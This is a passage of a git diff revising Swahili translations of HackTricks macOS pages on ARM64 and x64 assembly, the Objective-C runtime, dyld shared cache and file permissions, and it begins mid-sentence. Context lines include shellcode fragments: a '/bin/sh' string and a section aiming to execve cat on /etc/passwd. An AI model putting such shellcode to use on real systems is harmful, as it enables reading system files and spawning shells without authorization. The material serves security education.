huu unashughulikiwa. +- **Mode and Exception Mask Bits** (0-4): Zinabainisha hali ya sasa ya utekelezaji. **Ya 5** inaonyesha ikiwa programu inafanya kazi kama 32bit (1) au 64bit (0). Nyingine 4 zinaonyesha **hali ya kosa inayotumika sasa** (wakati kosa linapotokea na linashughulikiwa). Nambari iliyowekwa **inaonyesha kipaumbele cha sasa** endapo kosa lingine litachochewa wakati huu unashughulikiwa.
@@ -328,15 +328,15 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar Kumbuka kwamba **Ida** na **Ghidra** zinaweza pia ku-decompile **dylibs maalum** kutoka kwenye cache kwa kupitisha tu cache. > [!TIP] -> Wakati mwingine ni rahisi kuangalia **code iliyodecompiled** kutoka **`libsystem_kernel.dylib`** **kuliko** kuangalia **source code** kwa sababu code ya syscalls kadhaa (BSD na Mach) inazalishwa kupitia scripts (angalia maoni katika source code) wakati katika dylib unaweza kupata kile kinachoitwa. +> Wakati mwingine ni rahisi kuangalia **decompiled** code kutoka **`libsystem_kernel.dylib`** **kuliko** kuangalia **source code** kwa sababu code ya syscalls kadhaa (BSD na Mach) inazalishwa kupitia scripts (angalia maoni katika source code) wakati katika dylib unaweza kupata kile kinachoitwa. ### machdep calls -XNU inasaidia aina nyingine ya calls inayoitwa machine dependent. Idadi ya calls hizi inategemea usanifu na wala calls wala idadi hazihakikishiwi kubaki kuwa thabiti. +XNU inasaidia aina nyingine ya calls inayoitwa machine dependent. Nambari za calls hizi zinategemea usanifu na wala calls au nambari hazihakikishiwi kubaki kuwa thabiti. ### comm page -Hii ni ukurasa wa kumbukumbu wa mmiliki wa kernel ambao umewekwa kwenye anwani ya kila mchakato wa mtumiaji. Imepangwa kufanya mpito kutoka kwa hali ya mtumiaji hadi nafasi ya kernel kuwa haraka zaidi kuliko kutumia syscalls kwa huduma za kernel ambazo zinatumika sana kwamba mpito huu ungekuwa usio na ufanisi. +Hii ni ukurasa wa kumbukumbu wa mmiliki wa kernel ambao umewekwa kwenye anwani ya kila mchakato wa mtumiaji. Imepangwa kufanya mpito kutoka kwa hali ya mtumiaji hadi nafasi ya kernel kuwa haraka kuliko kutumia syscalls kwa huduma za kernel ambazo zinatumika sana kwamba mpito huu ungekuwa usio na ufanisi. Kwa mfano, wito wa `gettimeofdate` unasoma thamani ya `timeval` moja kwa moja kutoka kwenye comm page. @@ -350,7 +350,7 @@ Parameta ([maelezo zaidi katika docs](https://developer.apple.com/documentation/ - x1: op -> Mchaguo wa njia - x2... -> Mabaki ya hoja za njia iliyoitwa -Hivyo, ikiwa utaweka breakpoint kabla ya tawi la kazi hii, unaweza kwa urahisi kupata kile kinachoitwa katika lldb (katika mfano huu, kitu kinaita kitu kutoka `NSConcreteTask` ambacho kitakimbiza amri): +Hivyo, ikiwa utaweka breakpoint kabla ya tawi la kazi hii, unaweza kwa urahisi kupata kile kinachoitwa katika lldb (katika mfano huu, kitu kinaita kitu kutoka `NSConcreteTask` ambacho kitakimbia amri): ```bash # Right in the line were objc_msgSend will be called (lldb) po $x0 @@ -369,17 +369,17 @@ whoami ) ``` > [!TIP] -> Kuweka mabadiliko ya mazingira **`NSObjCMessageLoggingEnabled=1`** inawezekana kurekodi wakati kazi hii inaitwa katika faili kama `/tmp/msgSends-pid`. +> Kuweka variable ya env **`NSObjCMessageLoggingEnabled=1`** inawezekana kuandika wakati kazi hii inaitwa katika faili kama `/tmp/msgSends-pid`. > -> Zaidi ya hayo, kuweka **`OBJC_HELP=1`** na kuita binary yoyote unaweza kuona mabadiliko mengine ya mazingira ambayo unaweza kutumia ili **log** wakati vitendo fulani vya Objc-C vinapotokea. +> Zaidi ya hayo, kuweka **`OBJC_HELP=1`** na kuita binary yoyote unaweza kuona variable nyingine za mazingira ambazo unaweza kutumia ku **log** wakati vitendo fulani vya Objc-C vinatokea. Wakati kazi hii inaitwa, inahitajika kupata njia iliyoitwa ya mfano ulioonyeshwa, kwa hili utafutaji tofauti hufanywa: - Fanya utafutaji wa cache wa matumaini: - Ikiwa ni mafanikio, imekamilika -- Pata runtimeLock (soma) -- Ikiwa (realize && !cls->realized) tambua darasa -- Ikiwa (initialize && !cls->initialized) anza darasa +- Pata runtimeLock (kusoma) +- Ikiwa (realize && !cls->realized) realize darasa +- Ikiwa (initialize && !cls->initialized) initialize darasa - Jaribu cache ya darasa lenyewe: - Ikiwa ni mafanikio, imekamilika - Jaribu orodha ya mbinu za darasa: @@ -388,8 +388,8 @@ Wakati kazi hii inaitwa, inahitajika kupata njia iliyoitwa ya mfano ulioonyeshwa - Ikiwa ni mafanikio, imekamilika - Jaribu orodha ya mbinu za darasa la juu: - Ikiwa imepatikana, jaza cache na umalize -- Ikiwa (resolver) jaribu mtafutaji wa mbinu, na rudia kutoka kwa utafutaji wa darasa -- Ikiwa bado hapa (= kila kitu kingine kimefeli) jaribu mpelelezi +- Ikiwa (resolver) jaribu mtafutaji wa mbinu, na rudia kutoka utafutaji wa darasa +- Ikiwa bado hapa (= kila kitu kingine kimefeli) jaribu forwarder ### Shellcodes @@ -537,9 +537,9 @@ sh_path: .asciz "/bin/sh" {{#endtab}} {{#endtabs}} -#### Soma kwa cat +#### Soma na cat -Lengo ni kutekeleza `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, hivyo hoja ya pili (x1) ni array ya param (ambayo katika kumbukumbu inamaanisha stack ya anwani). +Lengo ni kutekeleza `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, hivyo hoja ya pili (x1) ni array ya params (ambayo katika kumbukumbu inamaanisha stack ya anwani). ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md index dd965cdb6..bb9d6f75a 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md @@ -4,11 +4,11 @@ ## **Utangulizi wa x64** -x64, pia inajulikana kama x86-64, ni usanifu wa processor wa bit 64 unaotumika hasa katika kompyuta za mezani na seva. Inatokana na usanifu wa x86 ulioandaliwa na Intel na baadaye kukubaliwa na AMD kwa jina AMD64, ni usanifu unaotumika sana katika kompyuta binafsi na seva leo. +x64, pia inajulikana kama x86-64, ni usanifu wa processor wa 64-bit unaotumika hasa katika kompyuta za mezani na seva. Inatokana na usanifu wa x86 ulioandaliwa na Intel na baadaye kukubaliwa na AMD kwa jina AMD64, ni usanifu unaotumika sana katika kompyuta binafsi na seva leo. ### **Registers** -x64 inapanua usanifu wa x86, ikiwa na **registers 16 za matumizi ya jumla** zilizo na lebo `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi`, na `r8` hadi `r15`. Kila moja ya hizi inaweza kuhifadhi **thamani ya bit 64** (byte 8). Registers hizi pia zina sub-registers za bit 32, 16, na 8 kwa ajili ya ufanisi na kazi maalum. +x64 inapanua usanifu wa x86, ikiwa na **registers 16 za matumizi ya jumla** zilizo na lebo `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi`, na `r8` hadi `r15`. Kila moja ya hizi inaweza kuhifadhi **thamani ya 64-bit** (byte 8). Registers hizi pia zina sub-registers za 32-bit, 16-bit, na 8-bit kwa ajili ya ufanisi na kazi maalum. 1. **`rax`** - Kawaida hutumika kwa **thamani za kurudi** kutoka kwa kazi. 2. **`rbx`** - Mara nyingi hutumika kama **register ya msingi** kwa operesheni za kumbukumbu. @@ -16,17 +16,17 @@ x64 inapanua usanifu wa x86, ikiwa na **registers 16 za matumizi ya jumla** zili 4. **`rdx`** - Hutumika katika majukumu mbalimbali ikiwa ni pamoja na operesheni za hesabu za ziada. 5. **`rbp`** - **Pointer ya msingi** kwa fremu ya stack. 6. **`rsp`** - **Pointer ya stack**, ikifuatilia kilele cha stack. -7. **`rsi`** na **`rdi`** - Hutumika kwa **vyanzo** na **malengo** katika operesheni za nyuzi/kumbukumbu. +7. **`rsi`** na **`rdi`** - Hutumika kwa **vigezo vya chanzo** na **kikundi** katika operesheni za nyuzi/kumbukumbu. 8. **`r8`** hadi **`r15`** - Registers za ziada za matumizi ya jumla zilizoanzishwa katika x64. ### **Mkataba wa Kuita** Mkataba wa kuita wa x64 unatofautiana kati ya mifumo ya uendeshaji. Kwa mfano: -- **Windows**: Parameta **nne za kwanza** hupitishwa katika registers **`rcx`**, **`rdx`**, **`r8`**, na **`r9`**. Parameta zaidi zinakatwa kwenye stack. Thamani ya kurudi iko katika **`rax`**. -- **System V (inayotumika sana katika mifumo kama UNIX)**: Parameta **sita za kwanza za nambari au pointer** hupitishwa katika registers **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`**, na **`r9`**. Thamani ya kurudi pia iko katika **`rax`**. +- **Windows**: Vigezo **vinne vya kwanza** vinapitishwa katika registers **`rcx`**, **`rdx`**, **`r8`**, na **`r9`**. Vigezo zaidi vinakatwa kwenye stack. Thamani ya kurudi iko katika **`rax`**. +- **System V (inayotumika sana katika mifumo kama UNIX)**: Vigezo **sita vya kwanza vya nambari au pointer** vinapitishwa katika registers **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`**, na **`r9`**. Thamani ya kurudi pia iko katika **`rax`**. -Ikiwa kazi ina ingizo zaidi ya sita, **zingine zitapitishwa kwenye stack**. **RSP**, pointer ya stack, inapaswa kuwa **imepangwa kwa byte 16**, ambayo inamaanisha kwamba anwani inayoelekeza inapaswa kugawanywa kwa 16 kabla ya wito wowote kutokea. Hii inamaanisha kwamba kawaida tunahitaji kuhakikisha kuwa RSP imepangwa ipasavyo katika shellcode yetu kabla ya kufanya wito wa kazi. Hata hivyo, katika mazoezi, wito wa mfumo unafanya kazi mara nyingi hata kama hitaji hili halijakidhiwa. +Ikiwa kazi ina zaidi ya ingizo sita, **zingine zitapitishwa kwenye stack**. **RSP**, pointer ya stack, inapaswa kuwa **imepangwa kwa byte 16**, ambayo inamaanisha kwamba anwani inayoelekeza inapaswa kugawanywa kwa 16 kabla ya wito wowote kutokea. Hii inamaanisha kwamba kawaida tunahitaji kuhakikisha kuwa RSP imepangwa ipasavyo katika shellcode yetu kabla ya kufanya wito wa kazi. Hata hivyo, katika mazoezi, wito wa mfumo unafanya kazi mara nyingi hata kama hitaji hili halijakidhi. ### Mkataba wa Kuita katika Swift @@ -43,27 +43,27 @@ Maagizo ya x64 yana seti tajiri, yakihifadhi ufanisi na maagizo ya awali ya x86 - Mfano: `pop rax` — Inachukua thamani ya juu kutoka kwenye stack hadi `rax`. - **`add`** na **`sub`**: Operesheni za **kujumlisha** na **kuondoa**. - Mfano: `add rax, rcx` — Inajumlisha thamani katika `rax` na `rcx` ikihifadhi matokeo katika `rax`. -- **`mul`** na **`div`**: Operesheni za **kuzaa** na **ugawaji**. Kumbuka: hizi zina tabia maalum kuhusu matumizi ya operandi. -- **`call`** na **`ret`**: Inatumika ku **ita** na **kurudi kutoka kwa kazi**. -- **`int`**: Inatumika kuanzisha **interrupt** ya programu. Mfano: `int 0x80` ilitumika kwa wito wa mfumo katika 32-bit x86 Linux. +- **`mul`** na **`div`**: Operesheni za **kuongeza** na **kugawanya**. Kumbuka: hizi zina tabia maalum kuhusu matumizi ya operand. +- **`call`** na **`ret`**: Hutumika ku **ita** na **kurudi kutoka kwa kazi**. +- **`int`**: Hutumika kuanzisha **interrupt** ya programu. Mfano, `int 0x80` ilitumika kwa wito wa mfumo katika 32-bit x86 Linux. - **`cmp`**: **Linganisha** thamani mbili na kuweka bendera za CPU kulingana na matokeo. - Mfano: `cmp rax, rdx` — Linganisha `rax` na `rdx`. - **`je`, `jne`, `jl`, `jge`, ...**: Maagizo ya **kuruka kwa masharti** yanayobadilisha mtiririko wa udhibiti kulingana na matokeo ya `cmp` au jaribio la awali. - Mfano: Baada ya maagizo ya `cmp rax, rdx`, `je label` — Inaruka hadi `label` ikiwa `rax` ni sawa na `rdx`. -- **`syscall`**: Inatumika kwa **wito wa mfumo** katika mifumo mingine ya x64 (kama Unix za kisasa). -- **`sysenter`**: Amri ya **wito wa mfumo** iliyoboreshwa kwenye baadhi ya majukwaa. +- **`syscall`**: Hutumika kwa **wito wa mfumo** katika mifumo mingine ya x64 (kama Unix za kisasa). +- **`sysenter`**: Maagizo ya **wito wa mfumo** yaliyoboreshwa kwenye baadhi ya majukwaa. ### **Prologue ya Kazi** -1. **Sukuma pointer ya msingi ya zamani**: `push rbp` (huhifadhi pointer ya msingi ya mwitishaji) +1. **Push pointer ya msingi ya zamani**: `push rbp` (huhifadhi pointer ya msingi ya mwituni) 2. **Hamisha pointer ya sasa ya stack hadi pointer ya msingi**: `mov rbp, rsp` (inasanifisha pointer mpya ya msingi kwa kazi ya sasa) -3. **Panga nafasi kwenye stack kwa ajili ya mabadiliko ya ndani**: `sub rsp, ` (ambapo `` ni idadi ya bytes zinazohitajika) +3. **Panga nafasi kwenye stack kwa ajili ya vigezo vya ndani**: `sub rsp, ` (ambapo `` ni idadi ya bytes zinazohitajika) ### **Epilogue ya Kazi** -1. **Hamisha pointer ya sasa ya msingi hadi pointer ya stack**: `mov rsp, rbp` (ondoa mabadiliko ya ndani) -2. **Pop pointer ya msingi ya zamani kutoka kwenye stack**: `pop rbp` (rejesha pointer ya msingi ya mwitishaji) -3. **Rudi**: `ret` (rejesha udhibiti kwa mwitishaji) +1. **Hamisha pointer ya sasa ya msingi hadi pointer ya stack**: `mov rsp, rbp` (ondoa vigezo vya ndani) +2. **Pop pointer ya msingi ya zamani kutoka kwenye stack**: `pop rbp` (rejesha pointer ya msingi ya mwituni) +3. **Rudi**: `ret` (rejesha udhibiti kwa mwituni) ## macOS @@ -209,7 +209,7 @@ syscall #### Soma na cat -Lengo ni kutekeleza `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, hivyo hoja ya pili (x1) ni array ya paramu (ambayo katika kumbukumbu inamaanisha stack ya anwani). +Lengo ni kutekeleza `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, hivyo hoja ya pili (x1) ni array ya param (ambayo katika kumbukumbu inamaanisha stack ya anwani). ```armasm bits 64 section .text diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md index 8418263aa..cd6a4f7f5 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md @@ -72,12 +72,12 @@ Sehemu nyingi za data zinazotumiwa na ObjectiveC runtime zitabadilika wakati wa - **`__objc_nlcatlist`** (`category_t`): Kielelezo cha Jamii zisizo za Lazy zilizofafanuliwa katika hii binary - **`__objc_catlist`** (`category_t`): Kielelezo cha Jamii zilizofafanuliwa katika hii binary - **`__objc_nlclslist`** (`classref_t`): Kielelezo cha Darasa zisizo za Lazy zilizofafanuliwa katika hii binary -- **`__objc_classlist`** (`classref_t`): Viashiria vya darasa zote za Objective-C zilizofafanuliwa katika hii binary +- **`__objc_classlist`** (`classref_t`): Viashiria vya madarasa yote ya Objective-C yaliyofafanuliwa katika hii binary Inatumia pia sehemu chache katika **`__TEXT`** segment kuhifadhi thamani thabiti ikiwa haiwezekani kuandika katika sehemu hii: - **`__objc_methname`** (C-String): Majina ya mbinu -- **`__objc_classname`** (C-String): Majina ya darasa +- **`__objc_classname`** (C-String): Majina ya madarasa - **`__objc_methtype`** (C-String): Aina za mbinu ### Uandishi wa Aina @@ -112,7 +112,7 @@ Uandishi kamili wa aina kwa njia ni: 5. **Kigezo cha pili (`NSDictionary * options`)**: Imeandikwa kama `@`, kwenye ofset 20 6. **Kigezo cha tatu (`NSError ** error`)**: Imeandikwa kama `^@`, kwenye ofset 24 -**Kwa mchaguzi + uandishi unaweza kujenga upya njia.** +**Pamoja na mchaguzi + uandishi unaweza kujenga upya njia hiyo.** ### **Darasa** @@ -140,6 +140,6 @@ data()->setFlags(set); Darasa hili linatumia baadhi ya bits za uwanja wa isa kuonyesha taarifa fulani kuhusu darasa hilo. Kisha, struct ina kiashiria kwa struct `class_ro_t` kilichohifadhiwa kwenye diski ambacho kina sifa za darasa kama jina lake, mbinu za msingi, mali na mabadiliko ya mfano.\ -Wakati wa wakati wa kukimbia, muundo wa ziada `class_rw_t` unatumika ukiwa na viashiria ambavyo vinaweza kubadilishwa kama mbinu, itifaki, mali... +Wakati wa wakati wa kukimbia, muundo wa ziada `class_rw_t` unatumika unao na viashiria ambavyo vinaweza kubadilishwa kama mbinu, itifaki, mali... {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md index b7777b4d2..681e0b8f1 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md @@ -2,36 +2,36 @@ {{#include ../../../banners/hacktricks-training.md}} -## File hierarchy layout +## Muundo wa Hierarchy ya Faili - **/Applications**: Programu zilizowekwa zinapaswa kuwa hapa. Watumiaji wote wataweza kuzipata. - **/bin**: Binaries za mstari wa amri - **/cores**: Ikiwa ipo, inatumika kuhifadhi core dumps -- **/dev**: Kila kitu kinachukuliwa kama faili hivyo unaweza kuona vifaa vya vifaa vikiwa hapa. +- **/dev**: Kila kitu kinachukuliwa kama faili hivyo unaweza kuona vifaa vya vifaa vilivyohifadhiwa hapa. - **/etc**: Faili za usanidi -- **/Library**: Maktaba nyingi za ndogo na faili zinazohusiana na mapendeleo, caches na logi zinaweza kupatikana hapa. Folda ya Maktaba ipo kwenye mzizi na kwenye kila directory ya mtumiaji. -- **/private**: Haijandikwa lakini folda nyingi zilizotajwa ni viungo vya alama kwa directory ya kibinafsi. +- **/Library**: Maktaba nyingi za subdirectories na faili zinazohusiana na mapendeleo, caches na logi zinaweza kupatikana hapa. Folda ya Maktaba ipo kwenye mzizi na kwenye kila directory ya mtumiaji. +- **/private**: Haijapangwa lakini folda nyingi zilizotajwa ni viungo vya alama kwa directory ya kibinafsi. - **/sbin**: Binaries muhimu za mfumo (zinahusiana na usimamizi) - **/System**: Faili za kufanya OS X ifanye kazi. Unapaswa kupata hasa faili maalum za Apple hapa (sio za wahusika wengine). - **/tmp**: Faili zinafuta baada ya siku 3 (ni kiungo laini kwa /private/tmp) - **/Users**: Directory ya nyumbani kwa watumiaji. -- **/usr**: Usanidi na binaries za mfumo +- **/usr**: Config na binaries za mfumo - **/var**: Faili za logi - **/Volumes**: Drives zilizowekwa zitakuwa hapa. - **/.vol**: Ukikimbia `stat a.txt` unapata kitu kama `16777223 7545753 -rw-r--r-- 1 username wheel ...` ambapo nambari ya kwanza ni nambari ya kitambulisho cha volume ambapo faili ipo na ya pili ni nambari ya inode. Unaweza kufikia maudhui ya faili hii kupitia /.vol/ kwa kutumia taarifa hiyo ukikimbia `cat /.vol/16777223/7545753` -### Applications Folders +### Folda za Programu - **Programu za mfumo** ziko chini ya `/System/Applications` - **Programu zilizowekwa** kawaida huwekwa katika `/Applications` au katika `~/Applications` - **Data za programu** zinaweza kupatikana katika `/Library/Application Support` kwa programu zinazokimbia kama root na `~/Library/Application Support` kwa programu zinazokimbia kama mtumiaji. - Programu za wahusika wengine **daemons** ambazo **zinahitaji kukimbia kama root** kawaida ziko katika `/Library/PrivilegedHelperTools/` -- Programu **Sandboxed** zimepangwa katika folda `~/Library/Containers`. Kila programu ina folda iliyopewa jina kulingana na ID ya bundle ya programu (`com.apple.Safari`). +- Programu **Sandboxed** zimepangwa katika folda ya `~/Library/Containers`. Kila programu ina folda iliyopewa jina kulingana na ID ya bundle ya programu (`com.apple.Safari`). - **Kernel** iko katika `/System/Library/Kernels/kernel` - **Marekebisho ya kernel ya Apple** yako katika `/System/Library/Extensions` - **Marekebisho ya kernel ya wahusika wengine** yanahifadhiwa katika `/Library/Extensions` -### Files with Sensitive Information +### Faili zenye Taarifa Nyeti MacOS inahifadhi taarifa kama nywila katika maeneo kadhaa: @@ -39,15 +39,15 @@ MacOS inahifadhi taarifa kama nywila katika maeneo kadhaa: macos-sensitive-locations.md {{#endref}} -### Vulnerable pkg installers +### Wawekezaji wa pkg walio hatarini {{#ref}} macos-installers-abuse.md {{#endref}} -## OS X Specific Extensions +## Marekebisho Maalum ya OS X -- **`.dmg`**: Faili za Apple Disk Image ni za kawaida kwa wawekaji. +- **`.dmg`**: Faili za Apple Disk Image ni za kawaida sana kwa wawekaji. - **`.kext`**: Inapaswa kufuata muundo maalum na ni toleo la OS X la dereva. (ni bundle) - **`.plist`**: Pia inajulikana kama orodha ya mali inahifadhi taarifa katika muundo wa XML au binary. - Inaweza kuwa XML au binary. Zile za binary zinaweza kusomwa kwa: @@ -59,13 +59,13 @@ macos-installers-abuse.md - **`.app`**: Programu za Apple ambazo zinafuata muundo wa directory (ni bundle). - **`.dylib`**: Maktaba za dynamic (kama faili za Windows DLL) - **`.pkg`**: Ni sawa na xar (eXtensible Archive format). Amri ya wawekaji inaweza kutumika kufunga maudhui ya faili hizi. -- **`.DS_Store`**: Faili hii iko kwenye kila directory, inaokoa sifa na marekebisho ya directory. +- **`.DS_Store`**: Faili hii iko kwenye kila directory, inahifadhi sifa na marekebisho ya directory. - **`.Spotlight-V100`**: Folda hii inaonekana kwenye directory ya mzizi ya kila volume kwenye mfumo. - **`.metadata_never_index`**: Ikiwa faili hii iko kwenye mzizi wa volume Spotlight haitai index hiyo volume. - **`.noindex`**: Faili na folda zenye kiambishi hiki hazitakuwa indexed na Spotlight. - **`.sdef`**: Faili ndani ya bundles zinazoelezea jinsi inavyowezekana kuingiliana na programu kutoka kwa AppleScript. -### macOS Bundles +### Bundles za macOS Bundle ni **directory** ambayo **inaonekana kama kitu katika Finder** (mfano wa Bundle ni faili za `*.app`). @@ -73,9 +73,9 @@ Bundle ni **directory** ambayo **inaonekana kama kitu katika Finder** (mfano wa macos-bundles.md {{#endref}} -## Dyld Shared Library Cache (SLC) +## Cache ya Maktaba ya Dyld (SLC) -Katika macOS (na iOS) maktaba zote za pamoja za mfumo, kama frameworks na dylibs, zime **unganishwa katika faili moja**, inayoitwa **dyld shared cache**. Hii iliboresha utendaji, kwani msimbo unaweza kupakiwa haraka zaidi. +Katika macOS (na iOS) maktaba zote za mfumo zilizoshirikiwa, kama frameworks na dylibs, zime **unganishwa katika faili moja**, inayoitwa **dyld shared cache**. Hii iliboresha utendaji, kwani msimbo unaweza kupakuliwa kwa haraka. Hii iko katika macOS katika `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/` na katika toleo za zamani unaweza kuweza kupata **shared cache** katika **`/System/Library/dyld/`**.\ Katika iOS unaweza kuzipata katika **`/System/Library/Caches/com.apple.dyld/`**. @@ -100,9 +100,9 @@ dyldex_all [dyld_shared_cache_path] # Extract all Baadhi ya extractor hazitafanya kazi kwani dylibs zimeunganishwa kwa anwani zilizowekwa kwa hivyo zinaweza kuruka kwenye anwani zisizojulikana. > [!TIP] -> Pia inawezekana kupakua Cache ya Maktaba ya Shirika la vifaa vingine \*OS katika macos kwa kutumia emulator katika Xcode. Zitawekwa ndani ya: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport//Symbols/System/Library/Caches/com.apple.dyld/`, kama:`$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64` +> Pia inawezekana kupakua Shared Library Cache ya vifaa vingine \*OS katika macos kwa kutumia emulator katika Xcode. Zitawekwa ndani ya: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport//Symbols/System/Library/Caches/com.apple.dyld/`, kama:`$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64` -### Ramani ya SLC +### Mchoro wa SLC **`dyld`** inatumia syscall **`shared_region_check_np`** kujua kama SLC imepangwa (ambayo inarudisha anwani) na **`shared_region_map_and_slide_np`** kupanga SLC. @@ -115,13 +115,13 @@ Branch pools ni Mach-O dylibs ndogo ambazo zinaunda nafasi ndogo kati ya ramani Kwa kutumia mabadiliko ya env: - **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR= DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> Hii itaruhusu kupakia cache mpya ya maktaba iliyoshirikiwa. -- **`DYLD_SHARED_CACHE_DIR=avoid`** na kubadilisha maktaba kwa mikono kwa symlinks kwa cache iliyoshirikiwa na zile halisi (utahitaji kuzitoa). +- **`DYLD_SHARED_CACHE_DIR=avoid`** na kubadilisha maktaba kwa mikono na symlinks kwa cache iliyoshirikiwa na zile halisi (utahitaji kuzitoa). ## Ruhusa Maalum za Faili ### Ruhusa za Folda -Katika **folda**, **kusoma** inaruhusu **kuorodhesha**, **kuandika** inaruhusu **kufuta** na **kuandika** faili ndani yake, na **kutekeleza** inaruhusu **kupita** kwenye directory. Hivyo, kwa mfano, mtumiaji mwenye **ruhusa ya kusoma juu ya faili** ndani ya directory ambapo hana **ruhusa ya kutekeleza** **hataweza kusoma** faili hiyo. +Katika **folda**, **kusoma** inaruhusu **kuorodhesha** hiyo, **kuandika** inaruhusu **kufuta** na **kuandika** faili ndani yake, na **kutekeleza** inaruhusu **kupita** kwenye directory. Hivyo, kwa mfano, mtumiaji mwenye **ruhusa ya kusoma juu ya faili** ndani ya directory ambapo hana **ruhusa ya kutekeleza** **hatakuwa na uwezo wa kusoma** faili hiyo. ### Marekebisho ya Bendera @@ -129,7 +129,7 @@ Kuna bendera kadhaa ambazo zinaweza kuwekwa kwenye faili ambazo zitaifanya faili - **`uchg`**: Inajulikana kama **uchange** bendera itazuia **kitendo chochote** kubadilisha au kufuta **faili**. Ili kuipatia, fanya: `chflags uchg file.txt` - Mtumiaji wa root anaweza **kuondoa bendera** na kubadilisha faili. -- **`restricted`**: Bendera hii inafanya faili kuwa **lindwa na SIP** (huwezi kuongeza bendera hii kwenye faili). +- **`restricted`**: Bendera hii inafanya faili kuwa **linda na SIP** (huwezi kuongeza bendera hii kwenye faili). - **`Sticky bit`**: Ikiwa directory ina sticky bit, **tu** mmiliki wa **directory au root anaweza kubadilisha jina au kufuta** faili. Kawaida hii huwekwa kwenye directory ya /tmp ili kuzuia watumiaji wa kawaida kufuta au kuhamasisha faili za watumiaji wengine. Bendera zote zinaweza kupatikana katika faili `sys/stat.h` (ipate kwa kutumia `mdfind stat.h | grep stat.h`) na ni: @@ -172,7 +172,7 @@ ls -lde Movies drwx------+ 7 username staff 224 15 Apr 19:42 Movies 0: group:everyone deny delete ``` -Unaweza kupata **faili zote zenye ACLs** kwa kutumia (hii ni polepole sana): +Unaweza kupata **faili zote zenye ACLs** kwa (hii ni polepole sana): ```bash ls -RAle / 2>/dev/null | grep -E -B1 "\d: " ``` @@ -183,7 +183,7 @@ Sifa zilizopanuliwa zina jina na thamani yoyote inayotakiwa, na zinaweza kuoneka - `com.apple.resourceFork`: Ufanisi wa rasilimali. Pia inaonekana kama `filename/..namedfork/rsrc` - `com.apple.quarantine`: MacOS: Mekanismu ya karantini ya Gatekeeper (III/6) - `metadata:*`: MacOS: metadata mbalimbali, kama vile `_backup_excludeItem`, au `kMD*` -- `com.apple.lastuseddate` (#PS): Tarehe ya matumizi ya mwisho ya faili +- `com.apple.lastuseddate` (#PS): Tarehe ya mwisho ya matumizi ya faili - `com.apple.FinderInfo`: MacOS: Taarifa za Finder (mfano, alama za rangi) - `com.apple.TextEncoding`: Inabainisha uandishi wa faili za maandiko ya ASCII - `com.apple.logd.metadata`: Inatumika na logd kwenye faili katika `/var/db/diagnostics` @@ -191,10 +191,10 @@ Sifa zilizopanuliwa zina jina na thamani yoyote inayotakiwa, na zinaweza kuoneka - `com.apple.rootless`: MacOS: Inatumika na Ulinzi wa Uadilifu wa Mfumo kuweka lebo ya faili (III/10) - `com.apple.uuidb.boot-uuid`: alama za logd za nyakati za boot zenye UUID ya kipekee - `com.apple.decmpfs`: MacOS: Usawazishaji wa faili wa uwazi (II/7) -- `com.apple.cprotect`: \*OS: Takwimu za usimbaji wa faili (III/11) +- `com.apple.cprotect`: \*OS: Takwimu za usimbaji fiche wa faili (III/11) - `com.apple.installd.*`: \*OS: Metadata inayotumika na installd, mfano, `installType`, `uniqueInstallID` -### Resource Forks | macOS ADS +### Rasilimali za Forks | macOS ADS Hii ni njia ya kupata **Mito Mbadala ya Takwimu katika Mashine za MacOS**. Unaweza kuhifadhi maudhui ndani ya sifa iliyopanuliwa inayoitwa **com.apple.ResourceFork** ndani ya faili kwa kuihifadhi katika **file/..namedfork/rsrc**. ```bash @@ -207,7 +207,7 @@ com.apple.ResourceFork: Hello Mac ADS ls -l a.txt #The file length is still q -rw-r--r--@ 1 username wheel 6 17 Jul 01:15 a.txt ``` -Unaweza **kupata faili zote zinazokuwa na sifa hii ya ziada** kwa: +Unaweza **kupata faili zote zinazo na sifa hii ya ziada** kwa: ```bash find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk 